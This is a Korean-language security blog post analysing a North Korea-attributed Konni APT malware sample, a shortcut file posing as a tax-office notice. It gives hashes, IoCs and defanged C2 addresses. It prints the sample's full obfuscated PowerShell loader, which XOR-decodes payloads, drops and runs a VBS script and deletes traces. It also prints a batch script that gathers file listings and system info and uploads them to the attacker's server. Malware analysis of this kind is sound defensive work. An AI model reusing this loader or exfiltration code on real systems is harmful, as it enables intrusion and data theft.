오늘은 북한 해킹 단체 Konni APT(Advanced Persistant Threat) 에서 만든 악성코드인 오류발견 수정신고 제출 요청 안내(국세징수법 시행규칙).hwp.lnk(2025.1.7)에 대해 글을 적어 보겠습니다. 북한 정찰총국 산하의 해킹 단체이며 한국과 미국 정부 기관 및 조직을 타겟으로 하고 있습니다.
외교 및 군사 기관도 대상으로 하고 있으며 아마도 국세징수법 시행 규칙 양식을 사용하는 것 보니까? 한국 국민을 대상으로 하지 않았을까 조심스럽게 생각을 합니다.
해쉬
파일명: 오류발견 수정신고 제출 요청 안내(국세징수법 시행규칙).hwp.lnk
사이즈:372,872,757 Bytes
MD5:c8556d5dd6383b600a459a531beb05ff
SHA-1:3024b5438f5d63cdedb1c473cba07b1825b60a1f
SHA-256:4cd7e92ac6a3d068683d41beabd82d82267d97aa89603c708c0dd4af637d6d67
악성코드 포함된 코드
StringData
{
namestring: hwp File
relativepath: not present
workingdir: not present
commandlinearguments:
/c for /f "tokens=*" %f in ('dir /s /b %systemroot%\System32\WindowsPowershell\*(.e)xe ^
| findstr /i rshell.exe') do (if exist "%f" (%f "function predicate{param($beggar); <#
boiled narrowly#>$appetite = $beggar.substring(0,$be(g)gar.length-4) + ''; <#winter fa
iling#>return $appetite;};function perplexity{param($surprise);<(#)sonorous aggregate
#> remove-item <#intermediate dilute#> -path $surprise <#axis brain#> -force;};function
master{param($containing,$self,$eth(e)real,$bosom,$dependence);<#narrative collective#
> $shuffle=New-Object System.IO(.)FileStream(<#bruise chapel#>$containing,<#shoal ejec
t#>[System.IO.FileMode]::Open,<#vein vocation#>[S(y)stem.IO.FileAccess]::Read);<#rehea
rse rail#> $shuffle.Seek(<#damp density#>$self,[System.IO.SeekOrigin]::Begin);<#silver
y pump#> $tumultuous=$et(h)ereal*0x01;<#brilliant bowl#> $press=New-Object byte[] <#ac
curacy offset#>$ethereal; <#geology scrape#> $block=New-Object byte[] <#parcel swift#>
$t(u)multuous; <#elaborate remembrance#>$(s)huffle.Read(<#contracted restless#>$block,
0,<#conformity flush#>$tumultuous); $shuffle.Close();$dif(f)erential=0;whil(e)($differ
ential -lt $(e)thereal){<#master foresight#>$press[$differential]=$block[$differential
*0x01] -bxor $bosom;$differential++;}<#heroic ant(e)lope#> set-content $depend(e)nce <
#pension cloak#> $p(r)ess -Encodi(n)g <#spring compos(i)ng#> Byte;};function p(r)ovoke
{param($hand, $r(e)m(e)dy);<#plumb horn(#)> expand $hand <#knock proto(p)lasm#> -F:* $
reme(d)y;};functio(n) taking{$hu(nting = $env:public<#insensible boring#> + '\' +<#und
ivided tough#> 'do'+'cum'+'en'+'ts';<#half augment#> return $hunting;};function engros
s{param($modesty); <#liberate evergreen#>$(f)ortune = Split-Path $modesty;<#brown dire
ctor#> return $fortune;};function tilt{return Get-Location;};function birth{<#bitumen
wine#>retur(n) $env:Temp;};function deprived{$viscous = tilt; $exempt = daily -paragra
ph $viscous; <#castle grace#>if($exempt.length -eq 0) {$viscous = b(i)rth; <#leaf prot
ection#>$exempt = daily -paragraph $viscous;} return $exempt;};function meridian{$burs
t = $env:public<#fineness channel#> + '\' (+) 'el'+'sew'+'her'+'e(.)ca'+'b';<#feeding
possess#> r(e)turn $burst;};function straw{$child = $env:public<#swift convenient#>+'\
do'+'cume'+'nts'(+)'\s'+'ta'+'rt.'+'vbs';<#whole situated#> return $child;};function d
aily{param($paragraph); <#cognizance monkey#>$knit= Get-ChildItem -(P)ath <#challenge
armor#> $paragraph -Recurse <#puppet inclosure#>*.lnk | <#club reversed#>where-object
{$_.length -eq <#discredit sand#>0x163996(3)5} | <#rem(a)rk artery#>Select-Object -Exp
andProperty <#masonry manifold#>FullName; return <#associated resolution#> $knit;};$st
eamer = deprived;<#oppre(s)sive improve#>$granite = engross -modesty $steamer;<#stir a
ssurance#> $police = predicate -beggar $st(e)amer;master -cont(a)ining <#pavilio(n) ha
rangue#> $steam(e)r -self <#indies selection#> 0x0000(2)346 -ethereal 0x00006C00 -boso
m <#beginning dissection#> 0x2B -dependence <#made greatly#> $police;<#impulse missile
#> & $police;$inherent=mer(i)dian;<#exert blast#>master -containing <#exalt fall#> $st
eamer -self <#stab seek#> 0x000(0)8F46 -ethereal <#possession solid#> 0x00013CBB -boso
(m) <#devil ref(r)ain#> 0x72 -dep(e)ndence <#memory decrease#> $inherent;<#manufacture
chan(c)ery#>perplexity -surprise $steamer;$reform = taking;<#ornamental coin#>provoke
-hand $(i)nherent -remedy <#intelligence fortify#>$reform;<#visio(n)ary witness#>perpl
exity -surprise $inherent;$society = <#alienate litter#>straw;<#card stif(l)e#>& $society;") )
iconlocation: (.)hwp
}
코드 분석
1. 파일 탐색 및 실행:
dir /s /b %systemroot%\System32\WindowsPowershell\*.exe 명령을 사용하여 rshell.exe 파일을 찾아 실행
파일 존재 확인 후 실행해서 원격 제어
2. 파일 조작 및 암호화:
master 함수는 특정 위치($steamer)에서 파일을 읽고 바이트 단위 XOR 연산(0x2B 및 0x72 키 사용)으로 내용을 해독후 실행 가능 파일로 변환
파일이 해독되고 실행(& $police)됨
3. 임시 경로 사용 및 지속성 확보:
taking` 함수는 공용 폴더(C:\Users\Public\Documents)를 활용하여 탐지 회피
straw 함수를 통해 .vbs 파일을 해당 폴더에 생성하고 실행하여 윈도우 실행 시 실행을 해서 악성코드가 계속 실행하려는 의도
4. 파일 삭제: perplexity 함수는 작업 완료 후 흔적 제거(Remove-Item -Path $surprise -Force) 실행 후 원본 페이로드를 삭제하여 분석 회피
5. LNK 악용: daily 함수는 특정 크기(0x16399635)의. lnk 파일을 검색하여 실행 사용자가 LNK 파일을 클릭하면 악성 코드가 자동 실행되도록 함
주요 함수 및 역할:
predicate: 문자열 변환 및 처리 난독화 우회
perplexity: 파일 삭제 수행 증거 은닉, 흔적 삭제
master:파일 복호화 및 실행 파일 복호화 및 실행
provoke:압축 파일 추출 악성 페이로드 배포
taking: 공용 폴더 경로 반환 탐지 회피 및 컴퓨터 사용자 정부 노출
engross: 특정 경로 추출 탐지 회피 및 은닉 화
deprived: LNK 파일 여부 체크 지속성 확보 및 감염 확산
meridian: 추가 악성 코드 경로 지정 후속 페이로드 저장
straw:VBS 스크립트 실행 자동 실행 기능
IoC(Indicators of Compromise)
파일 경로:
%systemroot%\System32\WindowsPowershell\*.exe
C:\Users\Public\Documents\start.vbs
C:\Users\Public\elsewhere.cab
실행 파일 및 압축 파일명:
rshell.exe (원격 제어 도구 가능성)
elsewhere.cab (압축된 추가 페이로드)
악성 동작 패턴:
XOR 암호화(0x2B,0x72 키)
Remove-Item -Force 사용 흔적 삭제
.lnk 파일 기반의 자동 실행
70135704.bat 내용
@echo off
pushd "%~dp0"
dir C:\Users\%username%\downloads\ /s > %~dp0d1.txt
dir C:\Users\%username%\documents\ /s > %~dp0d2.txt
dir C:\Users\%username%\desktop\ /s > %~dp0d3.txt
systeminfo > %~dp0d4.txt
timeout -t 5 /nobreak
call 28807392.bat "hxxp://subscheme(.)info/upload(.)php" "d1.txt" "%COMPUTERNAME%_down.txt" >nul
call 28807392.bat "hxxp://subscheme(.)info/upload(.)php" "d2.txt" "%COMPUTERNAME%_docu.txt" >nul
call 28807392.bat "hxxp://subscheme(.)info/upload(.)php" "d3.txt" "%COMPUTERNAME%_desk.txt" >nul
call 28807392.bat "hxxp://subscheme(.)info/upload(.)php" "d4.txt" "%COMPUTERNAME%_sys.txt" >nul
VBS 코드 분석
1. 악성코드 목적: 컴퓨터 사용자 시스템에서 파일 및 시스템 정보를 무단으로 수집 및 유출 목적
개인 정보(다운로드,문서,바탕화면) 및 시스템 정보를 C2 서버(subscheme(.)info)로 전송
2. 현재 작업 디렉터리 설정: 현재 실행된 배치 파일의 디렉토리로 작업 위치 이동
3. 파일 목록 수집 및 저장:
dir /s 명령을 사용하여 다운로드, 문서, 바탕화면 폴더의 모든 하위 파일 및 디렉터리 목록을 수집
수집된 결과를 실행 디렉터리에 d1.txt, d2.txt, d3.txt 파일로 저장
4. 시스템 정보 수집 및 저장: system info 명령을 통해 시스템의 OS 정보, 패치, 네트워크 세부 정보 수집
결과를 d4.txt로 저장하여 공격자가 환경 분석에 좋은 말로 활용 나쁜 말로 악용
5. 지연 처리: 5초 대기하여 탐지를 지연시키고 시스템 부하를 방지 일반적인 작업처럼 보이도록 위장하는 것이 특징
6. 정보 탈취 및 외부 전송:
28807392.bat 스크립트를 호출하여 HTTP POST 요청을 통해 공격자의 서버로 데이터를 업로드
파일명에 %COMPUTERNAME% 변수를 추가하여 개별 PC 식별 가능
>nul을 통해 명령 출력 숨김
7. 주요 악성 행위
정보 수집: 주요 폴더(다운로드, 문서, 바탕화면)에서 파일 목록 수집
시스템 정보 탈취: OS 버전, 네트워크 정보 수집
외부 전송: 수집한 데이터를 공격자 서버로 업로드
탐지 우회: 출력 숨김(>nul),실행 지연(timeout)
8. 정찰 및 정보 수집: 시스템 환경(OS 버전, 패치 상태, 사용자 이름 등) 파악
유출 가능한 민감 정보(문서, 다운로드 파일) 탐색
지속성 확보: 2차 악성 페이로드 전달(28807392.bat의 내용 분석 필요<-저는 귀찮아서 자세하게 분석 안 함)
감염 시스템의 정보를 공격자 서버에서 분석 후, 추가 공격 준비
28807392.bat 악성코드 내용과 동작 방식
파일 암호화 및 인코딩:RC4 알고리즘을 사용하여 파일 암호화
시스템 정보 수집: 타임스탬프(Ticks)를 암호화 키로 사용
HTTP POST 전송:암호화된 파일을 원격 서버로 업로드
파일 삭제:업로드 후 원본 파일 삭제
완료 로그 생성
upok.txt 파일을 생성하여 완료 표시: 성공적 공격 여부 확인
주요 기능 요약:
PowerShell 명령을 사용하여 특정 파일을 Base64 인코딩 및 암호화
HTTP POST 요청을 통해 원격 서버로 데이터 전송
파일 유출 후 삭제를 통해 증거 인멸 및 탐지 회피
결론: 우리 북한??? 은 역시나 대북 관계자 및 군사기밀, 한국국민을 대상으로 악성코드 유포를 통한 개인정보 수집을 한다. 그러니 항상 조심하자 입니다.
C2)
hxx://subscheme(.)info/list.php?638717886947(7)85015=HEr(m)bUWADGaRkmxbj3oD/yRkmN3R
hxxp://subscheme(.)info/list.php?63871788694(0)284577=MZdH60(g)kqSrlx3ijeQ7xnNORNtV
hxxp://subscheme(.)info/upload(.)php
'소프트웨어 팁 > 보안 및 분석' 카테고리의 다른 글
Kimsuky(김수키) 로 추측이 되는 부가가치세 확정신고 납부 통지서 피싱 메일 분석(2025.1.20) (0) | 2025.01.30 |
---|---|
딥씨크(DeepSeek) 개인정보,기기,폰번호 등 수집 및 중국 서버 저장 (0) | 2025.01.29 |
의료기관을 노린 가짜 YouTube(유튜브) 로 리디렉션 피싱 메일-11.eml (0) | 2025.01.28 |
트럼프 틱톡 미국 구매자를 찾는 기한을 틱톡금지법 90일간 유예 (0) | 2025.01.23 |
Kimsuky(김수키)에서 만든 공적조서(개인,양식)로 위장한 악성코드 (0) | 2025.01.21 |
윈도우 10 KB5049981,윈도우 11 KB5050009 & KB5050021 보안 업데이트 (0) | 2025.01.16 |
김수키(Kimsuky)에서 만든 코발트 스트라이크(Cobalt Strike) 악성코드-test.zip(2025.1.11) (0) | 2025.01.16 |
북한 해킹 단체 김수키(Kimsuky) 한국방위산업학회 향한 악성코드 공격-한국방위산업학회 방위산업 디지털 혁신 세미나(계획)(2025.1.12) (0) | 2025.01.15 |